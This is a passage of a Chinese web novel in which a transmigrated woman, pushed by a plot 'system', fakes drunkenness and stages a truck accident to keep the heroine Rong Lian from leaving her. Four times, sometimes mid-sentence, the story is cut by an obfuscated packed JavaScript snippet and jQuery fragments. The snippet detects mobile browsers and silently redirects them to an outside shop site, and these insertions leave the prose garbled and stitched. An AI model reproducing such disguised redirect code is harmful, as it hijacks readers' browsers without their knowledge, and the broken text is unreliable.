“宿主你不要笑了!”
……
刚出公司半小时,李惜白收到一条好友申请。
原星:对不住啊,上次删错了。
在此之前,李惜白没有收到任何一条剧情之外的消息,连渣攻设定中那群莺莺燕燕也不见踪影,家人中除了李青外也没有任何人问候过她。
对此,系统给出的解释是,本小说是围绕着主角受容莲开展的,没有义务过多描述渣攻的生活。
李惜白点了通过,把原星的备注改成万年老二,又想了想,把李青的备注改成陪跑老四。
万年老二:晚上出来喝一杯?
“检测到新剧情,请宿主完成接下来的任务,和攻二喝酒喝到酩酊大醉,被攻二送回主角受的家,为攻二提供与主角受单独相处的机会。”
这是什么熟睡的丈夫情节……
李惜白万分拒绝,却还是被系统逼迫着回了个“好”。
*
霓虹灯在雨水中晕染开一片暧昧的紫红。
林城的冬天少雨,一旦下就寒冷无比,李惜白舍不得冻着自己,虽是去喝酒,却还是裹得严严实实,就差把被子穿上了。
穿过酒吧门廊,忽暗忽明的灯光让李惜白不太适应。
搞不懂那个人为什么要选这样的偏僻地方。
推开门,爵士乐和威士忌的味道立刻包裹了她。
隔得很远,李惜白就望见了那个白红相间的身影,正坐在台上拨动琴弦,纯洁的雪白和燃烧的赤红安静相融,仿佛落在雪地的玫瑰。
原星静静弹奏了一会儿才下台,携了杯酒直接朝李惜白走来。
在站定后,原星将李惜白上下打量一番,直言不讳道:
“哇,你穿得好难看。”
李惜白差点转身就走。
大姐,谁像你一样为了风度不要命啊,外面多少度不清楚吗?
但为了剧情,李惜白还是留下了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722335|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
原星没有抱歉的意思,要了两杯长岛冰茶,全堆李惜白面前,反而只给自己点了杯果汁,叼着吸管抬眼看李惜白,小声嘟囔着:
“长得和她一点也不一样……”
酒摆在面前了,李惜白才突然想起,自己喝酒从来没喝醉过。
那这酩酊大醉的状态要怎么演?
还在苦思冥想着,就听原星道:“我家人让我进你姐的公司,给她当手下。”
原家和李家是世交,而看原星如今这副刁蛮不良的样子,去磨练磨练也是应该的。
当然,更重要的是,这样一来,攻二就能顺理成章地与主角受成为意见相反的死对头,为以后的剧情开头。
李惜白点点头。
“你知道我今天为什么叫你来吗?”原星突然道。
当然是为了推进剧情啊!
李惜白在心里大喊。
原星喝个果汁也像喝醉了一样,醉笑两声:“你别忘了,我们中学的时候可是最好的朋友。”
李惜白不是很想听背景故事,敷衍了两声,端起酒杯就喝了一半。
就算醉不了也要装装样子。
“不过你知道我为什么要跟你交朋友吗?”人声嘈杂中,原星的声音却格外清晰。
“因为……我哪知道这么多为什么。”李惜白不耐烦地把剩下小半杯往领口倒了些,制造出醉大了的特征。
原星冷笑一下,“哎,你不会觉得我会凭你那副傻愣愣的样子就和你交朋友吧?”
“再怎么学习都争不到第一,每天都被气哭八百遍,你这样的人……呵……”
明明知道她嘲讽的人不是自己,李惜白却还是莫名被气着了。
“难道你成绩就很好?”
这一下问到原星点子上了,她笑得张扬:“你忘了,我和你姐姐上的同一所大学。”
李惜白恶狠狠地继续喝酒。
等两杯酒见底,原星对着服务员挥挥手,示意再来两杯,却被李惜白制止了。
“外面雨停了,我要回家了。”李惜白正色道。
“回家,伯父伯母还肯让你回去?”原星说完,又突然像想到什么一样,弯起眼笑,“回那个大美女家里?”
李惜白看了看手机,八点半,还不算晚。
“是。”
原星起了身,抓起外套披着,说出了今晚最有良心的一句话:“来来来,我送你回家。”
李惜白当然求之不得,等着原星慢吞吞地穿好衣服。
“这次你眼光倒很好,我看她也不比那个顾轻水差嘛。”原星拎起一串钥匙,朝外走。
这是李惜白第二次听见这个名字了,内心确定这绝对是位重要角色,一定要好好记下来。
然而走到外面,李惜白就傻眼了。
原星坐在一辆红色电瓶车上,仔仔细细带好头盔,把张扬的头发塞进去,转头疑惑道:“你怎么不坐?”
“我还以为……你会开跑车呢。”李惜白尬笑两声。
起码也会是摩托吧,这样的小电瓶实在不符合原星的气质。
“驾照被吊销了,”原星仿佛在说一件无足轻重的事,歪了歪脑袋,“你坐不坐?”
“坐……”李惜白认命坐下。
冬天里寒风逼人,李惜白坐在后面都冻得瑟瑟发抖,更不敢想前面的原星要冷成什么样。
容莲的住处离那个酒吧不远,按照李惜白的指示,很快就到了目的地。
李惜白下了车,见原星已经对她挥手要走了,便立刻扶额佯装痛苦道:“我好像……有点醉,你扶我上去吧。”
“骗鬼啊?你还会醉?”原星明显不信。
李惜白狠了狠心,干脆赖在她身上,努力拼演技:“真的醉了……”
原星本还在不耐烦地闪开她,却又突然笑出声来:“你家大美女来了,你去找她醉吧。”
李惜白的身体僵直了。
她小心翼翼地转过身,见容莲正面无表情地站在灯下望着她。
8. 分手
容莲右手拎着一袋垃圾,身上披着一件棕色毛呢大衣,脖后松松散散扎了个低马尾,肤色在路灯下显得苍白憔悴。
她只是望了两人一眼,便向左掉头,去扔垃圾了。
原星还在笑,推一推李惜白的肩,问道:“她是不是生气了?”
李惜白觉得这家伙的笑格外刺眼。
“你怎么这么开心?”
原星把头盔摘掉,细致地将那头张扬的红白发捋顺,漫不经心道:“和绝交这么些年的朋友和好,当然开心啊。”
李惜白刚要反驳什么,扔完垃圾的容莲就回来了,径直走进楼道,根本没理外面这俩人。
李惜白还在发愣,肩膀突然一沉,一只手臂搭了上来,耳边响起原星嫌恶的话语:“你怎么这么难闻啊。”
李惜白忍不住翻了个白眼。废话,半杯酒都倒衣服上了,能没味吗?
外面的温度越待越冷,这么耗着也不是回事,李惜白拉着原星就往楼上走。
看样子原星和李惜白之前算那种很铁的朋友,不管对方做出什么荒谬的事都能习以为常地接受。
只不过原星在爬楼梯时一直抱怨,为什么不给人家买个好一点的房子。
李惜白呵笑两声,这你就不懂了,买好房子那叫包养,这种才叫同居。
脚步停住,李惜白站在门前掏了掏口袋,才发现钥匙丢了。
哪天换上个智能锁才行……
“咚咚咚——”原星没想那么多,上去就敲了门。
李惜白突然紧张起来,把自己的衣服扯得乱一些,脑子里疯狂闪过电影中的酒戏片段,双腿虚浮,眼神飘忽,呼吸渐渐加快。
门从里面被推开,李惜白没多想就倒了过去,被一双修长手臂稳稳接住。
洗发水的香味,栀子花,很舒服,很柔软。
原星“嘶”了一声,沉思后道:“她应该是醉了。”
容莲神情淡漠地点头,平声问:“进来坐坐吗?”
“哦,好啊。”
待在容莲怀中的李惜白不敢睁眼,生怕露馅。
右胳膊被抬起,搭住容莲的后颈上,腰也被揽住,李惜白整个人有种悬空的感觉,容莲温热的呼吸近在咫尺。
完蛋,好像真的有点醉。
“麻烦你了,这么晚还送她回来。”容莲把李惜白放在沙发上,去给原星倒了杯水。
原星看着那已经凉掉的一桌饭菜若有所思,接过水笑道:“还好,以前这种事经常干,李青还老怕我把她带坏。”
李惜白老老实实扮演熟睡的丈夫,幻想自己不存在。
“听起来你和阿白认识很早呢。”容莲微笑。
原星想了想:“这就说来话长了……“
她顿了顿,好像不愿提起这段往事,放下杯子自来熟地坐下,“话说,明天我就要成为你的同事了。”
“听李总说过了。”容莲淡淡回。
“真的?她怎么说我的?她骂我了?”原星突然很兴奋。
“只是提了一下。”
听着这俩人淡出鸟来的对话,李惜白无聊得不行,说好的死对头宿敌呢?说好的相爱相杀呢?
李惜白悄悄睁开眼,想看看这两人表情,却直直撞上了容莲的目光。
没有温度,没有情绪,连带着空气都仿佛凝滞下来。
李惜白无奈地又把眼闭上,尝试放空大脑。
原星没有意识到那两人之间的暗流涌动,一个劲追问:“是怎么提的?她是喊我原小姐还是原星,又或者是——”
“时间有些晚了,”容莲打断她,露出一个体面的微笑,“原小姐也该回家了。”
“……嗯,”被人打断的原星不太开心,“那先加个微信吧。”
容莲已经为她开了门,微微歪着头笑道:“好啊。”
送走了原星,容莲脸上的笑意也褪下来,李惜白还在装醉,她却完全不想理这人,走到饭桌旁把完好的一盘盘菜全倒进垃圾桶。
后牙紧紧地咬着,几乎要控制不住内心汹涌的怨恨。
就在白天时,她还天真地以为这人真的改变了,变得在乎她,不再允许别人插入她们之间。
结果……结果……
指甲掐进肉里,指尖泛着白,上一世被无情抛弃的噩梦再一次重现眼前。
那边,李惜白紧张地听着系统的剧情评估。
“剧情完成度检验中……进度百分之九十……百分之九十九……”
“检验结果成功,该剧情已顺利完成。”
李惜白舒了口气。
不管怎样,剧情完成了就好……虽然李惜白总有种被看穿的错觉。
厨房里响起哗啦啦的水声,接着是刺耳的瓷盘碎裂声,李惜白担心地朝厨房望去,却见到容莲荡着满是鲜血的手走出来。
她的目光斜斜望过来,声音很低:“盘子摔碎了。”
李惜白犹豫了一下,没有再继续装醉,默默起身去拿了医疗箱。
容莲神色平淡,仿佛从一开始就知道李惜白是装的,接过医疗箱,疏离地道了声谢,坐在沙发上熟练地给自己上药。
长久的沉默填满整个房间。
李惜白一向不喜欢这种沉重气氛,主动开口打破:“很严重吗?”
……
没有回应。
“要不然我带你去医院?”只好不死心地再问一问。
容莲合上箱子,贴好创可贴的手看起来已无大碍。
可容莲知道,伤口还未愈合,她依旧疼得厉害,为了彻底止痛,除了将整只手切下来,别无他法。
“分手吧。”容莲说。
*
今天是米粒第一天正式上班。
母亲在家里把她的领子理了又理,还是不算很放心,又叮嘱了几句。
“要和同事相处好知道吗?”
“有眼力见,多干点活,别让别人讨厌你。”
米粒一一应下,虽然知道母亲在瞎操心,可自己的内心紧张也是只多不少。
脱离学校,迈入社会,开启人生的新阶段。
她会成为自己梦想中那样的人吗?
不由得想到了昨天那个人,年纪那么轻就成了领导,举止和气质都万分优雅动人,性格也是温柔体贴,就连被人那样恶意地辱骂后,依旧宠辱不惊。
但米粒也知道,这样美丽又强大的人,肯定会把苦楚藏在内心,不肯对别人展现脆弱。
如果可以的话,她愿意替她分担这份苦楚,守护她的脆弱。
米粒还在地铁上做着白日梦,突然瞥见下一节车厢有个身影特别眼熟。
米白色的围巾,灰色大衣,长发
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722336|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
披在身后,手抓着扶把,双眼闭着,头一点点往下磕。
米粒站起身,慢慢凑过去,在确定是那人的面容后才小声道:
“容……容姐好……”
容莲缓缓睁开眼,脸上有明显的疲惫之色,在看清来人后礼貌回道:“早。”
米粒不自觉有些脸红:“容姐昨天没睡好吗?”
“……是有些。”
实际上她根本没睡。
提了分手后,李惜白没有同意,只说让她好好想想,便出了门。
没有吵架,没有哭泣,没有挽留,容莲几乎要看不懂如今的李惜白,连她的心声都听不懂。
“不应该在现在分手”是什么意思?“剧情乱套”又是什么意思?
李惜白的理性衬得容莲像只没有头脑的野兽。
然而在米粒眼中,却变成了另一幅场景——白天被辱骂过的容莲,只能回家一个人偷偷哭泣,为了证明自己的的位置是靠能力获得,不顾身体熬夜工作,最终导致了这样的状态。
米粒心疼地拍了拍容莲的肩:“容姐,我相信你,你是最棒的。”
莫名其妙得到鼓励的容莲点点头,道了声谢。
两人一路到了公司,正等电梯时,正巧撞上一个造型夸张的女人。
烟熏红棕色的全包眼线,高高扎起的马尾,一条粗款的银色古巴链搭在黑色短款皮衣上,下身则是条破洞长裤,脚踩黑色厚底靴,还有耳边亮闪闪的弯月形耳饰。
原星抬手对着容莲“呦”了一声,以示问好。
容莲不太想靠近这个黑化初中生,点了一下头便去走楼梯了。
米粒更是害怕得了不得,跟着容莲去爬楼梯。
容莲早上没吃饭,走了几层就有些发晕,米粒见状,掏出包里的面包小心翼翼递给容莲。
“容姐……吃一点吗?”
容莲强撑着对她笑一笑,伸手接过:“那谢谢你了。”
指尖碰过掌心,米粒的脸上又爬上红晕,“不……不客气。”
容莲看她有些不自在,以为是和上司待在一起紧张,便宽慰道:“以后不用叫我容姐,叫容莲就好。”
“哦,好,容……容莲。”米粒之前还没发现自己能结巴成这样。
容莲点了点头,莫名又有些走神。这孩子,和刚进入社会的自己很像,和谁说话都会紧张,担心自己做不好,却又不敢请教别人,只能一个人一遍遍地钻牛角尖,钻得鲜血淋漓才能得到教训。
不过。
容莲又看了看米粒打理整齐的衣服,精致的可爱发饰以及包里的便当。
这孩子是有人爱着的,她的父母会担心她,朋友会关爱她,将来也许还会有个很好的恋人。
反观她自己,活了两辈子,不管不顾地将感情全部投进一根稻草中,放血一般努力守护自以为是的幸福,结果却是竹篮打水一场空,成了笑话。
容莲自嘲地笑了笑。
中午午休时,容莲收到个陌生电话。
“您好,请问是李惜白女士的家属吗?我是市交警大队的林通警官,您现在方便吗?”
耳边轰然响起鸣声,极大的不安席卷全身。
“是……我是,方便的。”
“请您不要过度紧张,李惜白女士刚刚在中心路路口发生了一起车祸……”
9. 丑小鸭
李惜白咽咽口水,望着眼前的川流不息,内心万分犹豫。
“真的到这种地步了吗……”
“宿主,这是唯一的办法,主角受绝对不能在现在和你分手,很多剧情还没走完,你必须要挽回她!”
李惜白欲哭无泪:“那也不至于用这么极端的苦肉计吧。”
“只有这个办法,只有利用主角受的善良,逼她心软,才能让她不舍得离开你。”
“宿主放心,我这次从总部申请了一次制作‘完美人祸’的机会,保证不会有除了宿主之外的任何人受伤!就连撞你的车都不会出任何事”
……话是这么说的吗。
“宿主,为了以后无忧无虑、财富自由的生活,加油啊!”
李惜白捂着脸,突然很后悔答应系统。
其实,她也没这么爱钱……
就在她打算提出换个方案的想法时,背后突然有一道虚空的力量将她推向马路。
世界猛然翻滚起来,一辆剥了漆的红色大卡车闯入视野。
系统丝毫不顾她死活地助威:“加油啊宿主!“
汽油和铁锈混合的呛人味道充斥鼻腔,沉闷的“轰隆”声巨鼓般响起,耳朵里嗡的一声,万籁俱寂。
在这片失重、被拉长的寂静中,一切都不复存在。
也许是痛感会带来委屈的感觉,李惜白想起孤儿院里很凶的院长,想起总是说自己笨的老师,想起把自己拉入演艺圈签下黑合同的星探。
一定是她上辈子做的事太坏,这辈子才得报应了。
就这样彻底陷入黑暗一片,什么都无法再听,什么都无法再想。
……
直到窒息的感觉如潮水般袭来,脖子被一双手紧锁住,慢慢收紧,用力,几乎要完全失去气息。
濒死之际,李惜白迷茫睁开眼,却被乌黑的长发遮住视线,鼻尖是栀子花的香气。
脖子上的手瞬间失去力度,李惜白才舒了一口气,却又被容莲紧紧抱进怀里。
像是在抱一件失而复得的物件,又像是在抱一个仇恨至极的家伙。
李惜白愣半天说不出话,看了看周围医院的摆设,慢慢伸出手轻抚容莲的后背,内心感叹:
——“这苦肉计效果也太好了吧。”
容莲抱得更紧了些,李惜白不知道这是想抱死自己还是怎么样,推了几下也推不开,只能开口:“好了,我还没死。”
容莲怔了怔,慢慢松开她。
李惜白抓紧把四肢看了一遍,确定只是脑袋有些晕以外别无大碍,紧提着的心才放下来。
“宿主放心,剧情不允许您身体出毛病的。”
……这么重要的事为什么才讲?
李惜白无语片刻,抬眼看到容莲的眼眶微微发着红,大概是哭过了,整个人都在失魂落魄一般。
有人因为自己的死而哭,该是件幸福的事,可李惜白却很不自在。
她望一圈周围,在病床床头扯了几张抽纸,递给容莲。
“好了,没死呢。”
容莲的手微微发着抖,接了纸巾。
就在刚刚,她还试图掐死眼前这个人。
那样,就能结束自己的痛苦源泉,连带着所有不堪的感情。
可然后呢?
然后她会入狱,成为杀人犯,同时,世界上不会再存在同时给予她痛苦与爱的人,所有人于她都成了过客。
她顿时对剩下的人生失去了实感。
李惜白还以为自己的死而复生把容莲开心坏了,连话都说不出,丝毫没注意到刚才的窒息感。
苦肉计的最后一步,李惜白轻咳几声,假装万分不经意地问出一句——
“那……还分吗?”
容莲闻声缓缓对上那人视线。
“随便你。”
……
交警最后判定闯入机动车道的李惜白为本次事故承担全部责任,不仅如此,吓惨了的卡车司机还得到了一笔精神损失费,让李惜白再一次感叹有钱真好,什么责任都不用怕承担不了。
只是李青在听说这件事一改往日对她的纵容,打电话劈头盖脸骂了她一顿。
李惜白在她骂到一半时就挂了电话。
这种暴躁的关心她还是无福承受。
她侧目望向一旁专心削梨的容莲,问:“你怎么不去工作?”
“请假了,”容莲递过去一只插着雪白梨肉的牙签,凑到李惜白唇边,“张嘴。”
请假?这个工作狂居然会主动请假?
“是你姐姐要求的,让我在这照顾你。”容莲见她不肯让自己喂,便放回盘中,等她自己拿。
——“唉,要不然说她抓不住时机呢,居然把和容莲独处的机会拱手给人。”
李惜白若有所思地塞了几块梨肉,鲜甜的汁水溢满内心。
——“怎么会有这么体贴的人呢,好幸福。”
容莲理解了一会儿,缓缓道:“我和李总什么都没有。”
李惜白的动作愣住,细细琢磨她为什么要说这句话,最后决定用冷酷渣攻的人设回道:“哼,缠上我就够了,你还配不上我姐姐。”
“嗯。”容莲的头低垂着,黑发顺下来,怎么看都是朵逆来顺受的可怜小白花。
这副样子看多了真是让人心痒。李惜白忍不住伸出两指抬起容莲的下巴,发丝轻轻飘动,那双幽黑双眸就这样直直望着她,看久了有种深不可测的错觉。
李惜白对她笑了笑,把手收回去。
这种不明所以的对视简直太尴尬了,以后还是少做这种中二动作。
*
尽管系统打包票说她的身体不会出问题,被一辆大卡车撞飞后的李惜白还是觉得头晕得厉害。
去问医生,医生用一脸“你怎么这么不知足”的表情看着她:“没死没残都算奇迹,这点后遗症肯定是免不了的。”
最后纠缠半天,也只得到一个“多休息”“少用脑”这样模棱两可的答案。
觉得自己身体无大碍的李惜白要求回家,却又被医生一把拦住,说她这样被卡车撞飞了还毫发无损的案例实在少见,等明天要带几个学生来长长见识。
大难不死的李惜白一下子成为了整个医院的名人,连身边这个忧郁女神的回头率都比不上她高。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722337|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
一群小护士围着李惜白称赞着她生命力的顽强,李惜白只是摆摆手,手指天花板说此乃上天的眷顾,然后被自己的莫名中二恶心到。
晚饭因为头晕没有吃下去,容莲不死心地换了各种米粥,却也灌不进一口。
见容莲眉头微蹙,李惜白担心再吃下去会把容莲逼得嘴对嘴喂自己,忙借口要睡觉拒绝了容莲的投喂。
容莲依旧是不太放心,坐在床边看着李惜白睡。
病房里光线昏暗,声音也很静,消毒水的味道始终弥漫着。
这个场景温馨得近乎诡异,李惜白闭了眼也安不下心,一睁开眼却又能看见那双黑眼睛直直望着自己,只好反复闭了又睁,把仅存的睡意全用尽了。
“喂,”心疲力竭的李惜白实在受不了,“你能不能把眼睛闭上?”
容莲垂了眼眸,微微低头,看起来有些委屈。
李惜白良心不忍,又道:“给我讲个睡前故事也行。”
容莲抬头,“要听什么?”
“就,狗血一点啦,白雪公主爱上恶毒王后那种。”李惜白也不知道自己在讲什么。
容莲思索片刻,沉声道:“很久很久以前……”
——“好俗套的开头。”
李惜白默默吐槽。
容莲顿了顿,继续道:“有一只很丑陋的小鸭子,因为长得太丑,她没有一个朋友,就连爸妈也不喜欢她,每天只让她睡在泥潭里,她的羽毛都被染脏了,用最清澈的湖水都洗不干净,只能每天羡慕地看着那群天鹅在空中漂亮地飞来飞去。”
“白天鹅的生活都很美好,她们不用为生计烦恼,也不会在乎有没有人关心自己,她们可以得到一切自己想要的东西。”
“可丑小鸭知道,自己变不成白天鹅,自己一辈子都飞不到那么高,看不到更广阔的天空。”
“直到有一天,一只高贵的白天鹅飞了下来,对丑小鸭说,她可以叼着丑小鸭的翅膀飞到天空中,让她享受一下飞翔的感觉。”
容莲讲到这时突然停住,慢慢为李惜白掖好被角,起身轻声道:“我先出去,你睡吧。”
李惜白最讨厌讲故事只讲一半的家伙,忙扯住她的手追问:“然后丑小鸭被拽上天后,白天鹅把她摔死了?”
昏暗的病房里响起几声轻笑,容莲略带自嘲道:“对啊。”
……有点黑暗。
话说想出这个结局的自己才更黑暗吧。
“行,”李惜白松开她的手,“那你出去吧。”
听到李惜白的命令,容莲却不走了。
李惜白疑惑地“嗯”一声,睁着眼看她:“干嘛?”
眼前人突然俯下身来,如墨长发垂落在李惜白的脸颊上,轻轻发着痒——
李惜白下意识紧闭双眼。
——“完了完了完了完了完了完了完了完了完了完了完了……”
耳畔传来几声克制的笑。
她瞬间明白这是容莲逗自己玩呢。
不过,自己的人设可是渣攻啊,干嘛怕她?
李惜白强装冷静地睁开眼。
一个轻柔的吻落到额头。
10. 你们居然
李惜白的大脑完全空白了。
这个吻一触即分,短暂得让人以为是幻觉,容莲在她耳边低声道了一句“晚安”,轻拂过她额前碎发,不再做过多表示,退出房间,轻轻关了门。
她一走,李惜白就整个缩进被子里,耳朵尖开始发红。
“请宿主不要产生多余的情感。”系统冷酷道。
李惜白含糊应了两声,逼迫自己不去想刚才的事。
可越是这样,容莲的形象在脑中就越是清楚,撩过脸颊的长直乌发,总是望着自己的深黑色眼眸,看着修长单薄的手,握上去却很柔软……
以及吻上自己额头的,那双素净得近乎褪色的唇,洗去了所有的艳丽,只留下一点清冷的、属于花朵的味道。
李惜白闭上双眼,一个陌生的场景却又浮现在脑海。
狭小的屋内,微黄灯光照着一地狼藉。
容莲浑身洒满了菜汤,手背被烫得通红,颤颤地发着抖。
她慢慢跪下来,膝盖磕在坚硬的瓷砖上,声音很低:“阿白,别生气了。”
“我知道了,以后不会再说这种话……”
一件白衣服被扔到她身边,容莲伸手捡起来,抬头露了个卑微的笑,慢慢开始换衣服。
李惜白的心不知为何揪在一起,想把她拉起来抱在怀里,却怎么都碰不到她。
只能无可奈何地看着容莲一个人褪下脏衣服,露出单薄的身体。
李惜白猛然睁开眼,才意识到刚刚在做梦。
梦什么不好……偏偏梦原剧情里的容莲。
李惜白怀疑是系统在捣鬼。
果不其然,很快她又被一股力量强行拉入梦中。
大雨倾盆的夜,别墅外,黑暗吞没了一切杂音。
只有一声强于一声的砸门音沉闷地响荡着。
身旁的金发女郎微微笑了笑:“既然她都来了,就请进来坐坐。”
李惜白点点头,开了门,撑把黑伞走了出去。
容莲站在栅栏外,一身湿漉,黑发贴着脸颊,雨水流到下巴尖,孤零零地站在刺骨的夜里。
管家已经劝了许多遍,容莲依旧固执地砸着铁栅栏门,一下一下,苍白的手都要砸出血来,面上却毫无表情。
李惜白慢慢向她走去,容莲的动作停止,直直望着她。
李惜白叹了一口气,语气有些愧疚:“对不起。”
“阿白,”容莲的声音很哑,却又很迫切,隔着栅栏去拉李惜白的手,“没事的,你还喜欢我就好的……”
“对不起,”李惜白向后退一步,“你先回去吧。”
容莲的表情愣住,紧紧咬住后牙,本就白皙的脸此刻更像雨中恶鬼般苍白。
“李惜白,你会后悔的。”
*
清晨的第一缕阳光照进来,李惜白带着黑眼圈生无可恋地看向窗外。
一晚上的梦都是关于原身怎样虐容莲的,梦得李惜白头疼。
“宿主,系统已给出规范示例,请宿主务必好好学习。”系统厚颜无耻道。
学习你个大头鬼啊!
要是真这么对待容莲,李惜白下地狱都不会原谅自己的。
李惜白继续对着窗外思考人生。
门被“吱呀”一声扭开,提着饭盒的容莲放缓脚步走进来,正好对上李惜白转过来的目光。
容莲微微蹙起眉:“怎么醒这么早?不舒服吗?“
“没事。”看了一晚上虐心短剧的李惜白此刻终于见到了最惨主角,心情十分复杂。
容莲把饭盒提到床头,问道:“做噩梦了?”
李惜白被一语点破,抬眼看了看精神良好的容莲,弱弱“嗯”了一声。
“梦见什么了?”
“老鼠。”
“老鼠?”
“嗯。”
李惜白自认为强大的说谎能力在容莲面前也被迫削弱了,心虚得不行,努力补充道:“我最怕老鼠了,小时候有只老鼠趁我睡觉的时候,从我脑袋上爬来爬去,把我吵醒了,然后我睁开眼,就看到它在咬我的头发。”
容莲笑了笑:“你家里还会有老鼠吗?”
李惜白还晕着的脑袋一下清醒了。
糟糕,自己刚才说了什么啊!
这种在孤儿院的穷日子怎么能跟原身从小的娇生惯养相比?
“开玩笑的。”李惜白尴尬笑了几声。
容莲丝毫没有察觉异样,甚至已经开始习惯李惜白想法的稀奇古怪。
不管怎样,她起码现在不想让李惜白离开她。
等她再强大一点,可以彻底杀死那个懦弱的自己后,到那时再说也不迟。
李惜白则担心得要命,按理说自己这种演技差得人神共愤的三流演员,没在一开始被拆穿就已经万幸,还能撑上一个多月更是想都不敢想的事。
可容莲却一点都看不出来。
这让李惜白不得不怀疑是不是导演故意打压自己,其实她真有望得奖也说不定。
在李惜白做白日梦的时候,摆弄饭盒的容莲突然开口:“李总昨晚把我辞退了。”
李惜白顿时呆住,心里有不祥的预感:“为什么?”
“她说,是因为我你才出了车祸,让我离开你,否则就把我辞退,让我也进不了别的公司。”
李惜白犹豫一会,“她没说给你五百万吗?”
这不才应该是狗血文标配吗?
“没有。”这声音听着简直有点委屈。
系统得意洋洋的声音在李惜白脑中响起:“恭喜宿主将剧情拉回主线!”
李惜白抿了抿嘴,脑海中又开始浮现无依无靠的小白花容莲跪在她面前的场景。
“我给她打电话。”李惜白一时被正义感冲昏了头脑,势必要让原身的资源通通为容莲所用。
无视系统的劝阻,李惜白当下就拨了李青的号码。
容莲没有阻止也没有鼓励,只是幽幽望着眼前人。
事实上,容莲并没有对这个岗位有多眷恋,上辈子在被李惜白甩了之后,她遇到了一个赏识她的贵人,托举她创办了自己的工作室,登上了国际舞台,然而容莲也知道,只要贵人一句话,自己的成就就会一无所有。
所以,这辈子,一切她都要靠自己。
李惜白不知道容莲的心中所想,等了半天才等到电话接通,还没等开口,那边就先传来了一声醉醺醺的“嗯?”
“你是……谁啊?”那边醉醺醺的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16722338|189427||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女声继续道,声音偏细,不像李青的嗓音。
李惜白试探地问:“李青呢?”
“哦,她还在我旁边睡觉。哎!你到底是谁啊?凭什么给她打电话?”那女生莫名其妙突然生气了。
李惜白沉默片刻,道:“原星。”
“……你怎么知道我叫——”
话说到一半,电话就被挂掉了,李惜白隐隐还听见了李青训斥的声音。
李惜白实在不敢细想。
她同情地望着容莲。
——“小莲花,你的后宫好像打结了……”
容莲疑惑地歪歪头。
小莲花?
李惜白看着这纯洁善良、倔强不屈,悄悄承担所有负面情绪的小白莲,痛斥那对不知廉耻的家伙。
“算了,我过几天再去找她。”李惜白无奈摇头。
容莲垂下眼:“不用了。”
李惜白以为她又不争不抢圣母心了,忙又用强硬语气道:“怎么?你以为李家我说了不算,说是给你的东西就是你的。”
——“答应我答应我,不许不答应啊啊啊啊啊!”
容莲轻笑一下,“好,答应你。”
*
李惜白没有等到那位医生的学生来观摩,就火急火燎地出了院,去了李青的公司。
结果却被一个不良黑化女伸臂拦住了。
原星叼着一根棒棒糖,火红的发尾懒散搭在胸前,笑了几下道:“来做什么?”
李惜白此刻一点也不想看见她,不好好喜欢她家莲花也就算了,居然还把另一位潜力好攻搞上了床,其行径简直恶劣恶劣太恶劣了!
原星也是个脑子不好使的,没看出李惜白的敌意,把棒棒糖嚼碎了咽进去,散漫道:“不好意思啊,今早酒还没醒,说错话了。”
说完,原星自己又高兴起来,又拆开另一包棒棒糖塞嘴里:“我说,你现在是不是很生气,毕竟我可是抢了你姐姐?”
生气当然生气,这家伙把剧情完全搅乱了!
在路上的时候,李惜白已经质问过系统好几遍这是怎么回事,系统支吾半天,最后把罪过全怪到了李惜白头上。
李惜白简直太冤枉了。
为了剧情,系统还要求李惜白棒打鸳鸯,让她们重新成为主角受后宫的一员。
对此,李惜白嗤之以鼻,她只想把她家莲花的工作重新找回来,哪家公司能随随便便开除员工的?就算找不回来也要给违约金吧?
原星见李惜白铁青着脸色不答话,顿时更加得意,哼笑道:“你要见李青吗?她现在怕是有点累,见不了你。哦当然,我才是更累的那个。”
李惜白逐渐明白原身为什么会和眼前这个不良女决裂了。
“让开,我和她有正事谈。”李惜白不满道。
“凭什么?你是这个公司的谁?”原星挑眉看她。
李惜白深吸一口气,忍着怒气:“我说,滚开。”
